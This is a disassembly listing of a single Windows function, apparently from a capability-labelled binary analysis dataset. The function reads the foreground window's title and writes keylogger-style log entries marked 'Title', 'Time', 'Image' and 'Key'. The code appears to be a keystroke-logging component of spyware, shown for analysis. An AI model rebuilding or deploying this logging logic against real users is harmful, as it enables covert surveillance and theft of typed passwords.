Function at 0x10004060
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10057924
mov eax, dword fs:[0]
push eax
mov eax, 0x1230
call fcn.1003f290
mov eax, dword [0x1007200c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 4], 0
call fcn.10001e10
mov ecx, eax
test ecx, ecx
jne 0x100040b0
push 0x80004005
call fcn.10001bc0
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1230], eax
mov ebx, 0x100691a8
mov byte [ebp - 4], 1
shr ebx, 0x10
mov eax, 0x100691a8
test ebx, ebx
jne 0x100040f0
movzx esi, ax
mov ecx, esi
call fcn.100027f0
test eax, eax
je 0x10004100
push esi
push eax
lea ecx, [ebp - 0x1230]
call fcn.10002980
jmp 0x10004100
push 0x100691a8
lea ecx, [ebp - 0x1230]
call fcn.100051f0
mov byte [ebp - 4], 2
call fcn.10001e10
mov ecx, eax
test ecx, ecx
jne 0x10004119
push 0x80004005
call fcn.10001bc0
mov eax, dword [ecx]
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x1234], esi
mov byte [ebp - 4], 3
test ebx, ebx
jne 0x10004151
mov eax, 0x100691a8
movzx ebx, ax
mov ecx, ebx
call fcn.100027f0
test eax, eax
je 0x10004167
push ebx
push eax
lea ecx, [ebp - 0x1234]
call fcn.10002980
jmp 0x10004161
push 0x100691a8
lea ecx, [ebp - 0x1234]
call fcn.100051f0
mov esi, dword [ebp - 0x1234]
mov byte [ebp - 4], 4
test edi, edi
jne 0x100041c5
lea eax, [ebp - 0x122c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x1220]
push eax
movzx eax, word [ebp - 0x1222]
push eax
movzx eax, word [ebp - 0x1224]
push eax
movzx eax, word [ebp - 0x1226]
push eax
movzx eax, word [ebp - 0x122a]
push eax
movzx eax, word [ebp - 0x122c]
push eax
lea eax, [ebp - 0x1230]
push str._r_nSystems_Startup_Time:_4d__d__d__d:_d:_d_r_n
push eax
call fcn.10001600
add esp, 0x1c
jmp 0x1000426f
cmp edi, 5
jne 0x1000420c
push dword [ebp + 8]
lea eax, [ebp - 0x1230]
push str._r_n_s_r_n
push eax
call fcn.10001600
add esp, 8
lea eax, [ebp - 0x1230]
mov ecx, esp
mov dword [ebp - 0x1238], ecx
push eax
call fcn.10001780
call fcn.10003d30
add esp, 4
mov dword [0x10072a80], 1
jmp 0x10004572
cmp edi, 4
jne 0x10004253
push dword [ebp + 8]
lea eax, [ebp - 0x1230]
push str._r_n_s_r_n
push eax
call fcn.10001600
add esp, 8
lea eax, [ebp - 0x1230]
mov ecx, esp
mov dword [ebp - 0x1238], ecx
push eax
call fcn.10001780
call fcn.10003d30
add esp, 4
mov dword [0x10072a80], 1
jmp 0x10004572
cmp edi, 1
jne 0x1000429a
push dword [ebp + 8]
lea eax, [ebp - 0x1230]
push str._r_n_s_r_n
push eax
call fcn.10001600
add esp, 8
mov ecx, esp
lea eax, [ebp - 0x1230]
push eax
mov dword [ebp - 0x1238], ecx
call fcn.10001780
call fcn.10003d30
add esp, 4
mov dword [0x10072a80], 1
jmp 0x10004572
cmp edi, 6
jne 0x100042f8
mov eax, dword [0x100770f8]
cmp dword [eax - 0xc], 0
jle 0x100042c5
push ecx
mov ecx, esp
push 0x100770f8
mov dword [ebp - 0x1238], ecx
call fcn.10001780
call fcn.10003d30
add esp, 4
push dword [ebp + 8]
lea eax, [ebp - 0x1230]
push str._r_n_s_r_n
push eax
call fcn.10001600
add esp, 8
lea eax, [ebp - 0x1230]
mov ecx, esp
mov dword [ebp - 0x1238], ecx
push eax
call fcn.10001780
call fcn.10003d30
add esp, 4
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
test edi, edi
jne 0x1000430c
mov eax, dword [ebp + 8]
jmp 0x10004564
push 0x1000
lea eax, [ebp - 0x121c]
push 0
push eax
call fcn.10020410
add esp, 0xc
lea eax, [ebp - 0x121c]
push 0x800
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
cmp dword [0x10072a80], 0
mov esi, eax
jne 0x100043e4
mov ecx, dword [0x100770f4]
cmp dword [ecx - 4], 1
jle 0x10004363
push dword [ecx - 0xc]
mov ecx, 0x100770f4
call fcn.10001860
mov ecx, dword [0x100770f4]
add esi, esi
lea edx, [ebp - 0x121c]
sub esi, 4
jb 0x10004381
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x10004386
add ecx, 4
add edx, 4
sub esi, 4
jae 0x10004370
cmp esi, 0xfffffffc
je 0x100043b3
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x100043e4
cmp esi, 0xfffffffd
je 0x100043b3
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x100043e4
cmp esi, 0xfffffffe
je 0x100043b3
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x100043e4
cmp esi, 0xffffffff
je 0x100043b3
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x100043e4
push dword [ebp + 8]
lea eax, [ebp - 0x1234]
push 0x10068f6c
push eax
call fcn.10001600
mov esi, dword [ebp - 0x1234]
lea ecx, [ebp - 0x1230]
add esp, 0xc
push dword [esi - 0xc]
push esi
call fcn.10001530
jmp 0x1000455e
mov eax, dword [0x100770f8]
cmp dword [eax - 0xc], 0
jle 0x10004428
push 0x10068ef0
mov ecx, 0x100770f8
call fcn.100032b0
push ecx
mov ecx, esp
push 0x100770f8
mov dword [ebp - 0x1238], ecx
call fcn.10001780
call fcn.10003d30
add esp, 4
mov ecx, 0x100770f8
push 0x10068954
call fcn.10001b50
push 0x10068ef0
lea ecx, [ebp - 0x1230]
call fcn.10001b50
lea eax, [ebp - 0x121c]
push eax
lea eax, [ebp - 0x1234]
push str.Title:_s_r_n
push eax
call fcn.10001600
mov eax, dword [ebp - 0x1234]
lea ecx, [ebp - 0x1230]
add esp, 0xc
push dword [eax - 0xc]
push eax
call fcn.10001530
lea eax, [ebp - 0x122c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x1220]
push eax
movzx eax, word [ebp - 0x1222]
push eax
movzx eax, word [ebp - 0x1224]
push eax
movzx eax, word [ebp - 0x1226]
push eax
movzx eax, word [ebp - 0x122a]
push eax
movzx eax, word [ebp - 0x122c]
push eax
lea eax, [ebp - 0x1234]
push str.Time:_4d__d__d__d:_d:_d_r_n
push eax
call fcn.10001600
mov eax, dword [ebp - 0x1234]
lea ecx, [ebp - 0x1230]
add esp, 0x20
push dword [eax - 0xc]
push eax
call fcn.10001530
push ecx
lea edx, [ebp - 0x21c]
mov ecx, edi
call fcn.10007610
add esp, 4
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x1234]
push str.Image:_s_r_n
push eax
call fcn.10001600
mov eax, dword [ebp - 0x1234]
lea ecx, [ebp - 0x1230]
add esp, 0xc
push dword [eax - 0xc]
push eax
call fcn.10001530
push dword [ebp + 8]
lea eax, [ebp - 0x1234]
push str.Key:_s
push eax
call fcn.10001600
mov esi, dword [ebp - 0x1234]
lea ecx, [ebp - 0x1230]
add esp, 0xc
push dword [esi - 0xc]
push esi
call fcn.10001530
lea eax, [ebp - 0x121c]
push eax
push 0x10068f6c
push 0x100770f4
call fcn.10001600
add esp, 0xc
mov dword [0x10072a80], 0
mov eax, dword [ebp - 0x1230]
push dword [eax - 0xc]
mov ecx, 0x100770f8
push eax
call fcn.10001530
lea edx, [esi - 0x10]
mov byte [ebp - 4], 2
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10004590
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov eax, esi
mov edx, dword [ebp - 0x1230]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x100045b1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x100045d0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10007975
mov esp, ebp
pop ebp
ret